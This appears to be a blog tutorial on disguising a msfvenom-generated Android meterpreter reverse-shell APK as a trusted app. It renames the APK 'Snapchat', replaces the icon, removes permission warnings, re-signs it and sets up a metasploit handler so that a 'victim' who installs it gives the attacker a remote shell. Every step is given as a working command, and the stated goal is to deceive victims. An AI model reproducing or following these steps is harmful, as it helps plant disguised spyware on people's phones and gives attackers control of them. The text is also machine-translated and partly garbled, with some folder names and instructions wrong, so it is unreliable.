Make Your Malicious Hacking Android App Be More Convincing Realistic.

let me start by saying that English is not my first language and there will be grammatical errors. This is also my first lesson so don't hesitate to give me an answer :)

You may have created a malicious apk (Android package) in advance in Kali, made in the same way as a malicious exe. Done msfvenom.

In this short tutorial I will show you how to change the icon, permissions, and app name, to make your victim more confident. Something that can work best if you are a Social Engineering person.

Step 1: Creating a Malicious Apk

So, let's start by making our meterpreter apk. Enter this code in the forum

msfvenom -p android/meterpreter/reversetcp LHOST=(your ip) LPORT=(your port) -o app.apk

This will create the app.apk in your current folder.

Now comes the hard part.

Step 2: Installing Apktool

You will need to install Apktool on your system, I have used windows for this, but it should be done in the same way on linux/mac os. As this is different for everyone I will not cover the installation of this tool. Check out their website for your program.

Note that Apktool is automatically installed in the technology toolkit from Kali linux!

Step 3: Decompiling Your Apk

First check if you can use apktool properly using the command:

  • apktool

When you get the help menu, everything is set correctly. Now use the command

  • apktool d /pathtoyourapk/app.apk / pathtoyourfolder/folder

apktool will now rotate app.apk to / pathtoyourfolder / folder. In this new folder you will find some files. Most popular:

  • Folder 'res'
  • AndroidManifest.xml file
  • 'Smali' folder
  • 'Orginal' folder
  • Apktool.yml file

Step 4: Modifying the Files

In this tutorial we will only convert the AndroidManifest.xml file to the 'res' folder. First, open AndroidManifest.xml with your pre-made text editor. I'm using Notepad ++.

You will see something like this:

First, let's remove a few lines that we may not need and that will give the user an extra warning.

As Bhat Aasim messes with symbols here is a pastebin that can be made

Are you back? That's fine.

Now we are about to enter the 'res' folder. Here you will find the 'values' folder, log in. You will now find 2 files, 1 strings.xml named, and, open this xml file with your pre-made text editor.

You will find the line 

<string name="appname">MainActivity </string>

Change the '' MainActivity '' to you given the app name first, I chose the name '' 'Snapchat' '. But choose a name that suits you best.

Save the file and revert to /res/folder.

Create 3 named folders:

  • drawing-ldpi-v4
  • drawing-mdpi-v4
  • hdpi-v4 drawing

You will now need to find the right icon for your app.

I used the Android Asset Studio website and resizeimage.net

The goal is to find 3 png files of the following sizes:

  • 36x36 (pixels) of ldpi folder
  • 48x48 in the mdpi folder
  • 72x72 to the hdpi folder

Name all these png files 'icon.png' and place them in the appropriate folder.

Step 5: Compiling your app

This process is straight ahead. Go back to the apktool terminal and enter the following command:

  • apktool b /pathtoyourfolder/folder

This will create an apk in the newly created 'dist' folder (found in the apktool b /pathtoyourfolder/folder)

Do you think we're done? Probably, just one more step.

Step 6: Signing the Apk

Here is the zip used to sign the direct link or if that doesn't work the mega.co.nz link. Open the file and cd in the new folder, now use the command:

Java -jar signapk.jar certificate.pem key.pk8 /pathtoyourapp/app.apk sign.apk

This will create a file named sign.apk in a new folder that you can send to the victim and they will see the common application name and icon.

Step 7: Listing for Connection

Now the last part,

open metasploit using:

  • msfconsole

Open multi/handler

  • use multi/handler

set payload

  • set payload
  • android/meterpreter/reversetcp


  • set LPORT (your port)
  • set up LHOST (your host)

and exploit

  • exploit

Now when you open the app, you will get an incoming meterpreter shell, right?

I hope you enjoyed my (first) tutorial, so let me know in the comments what you think.

Post a Comment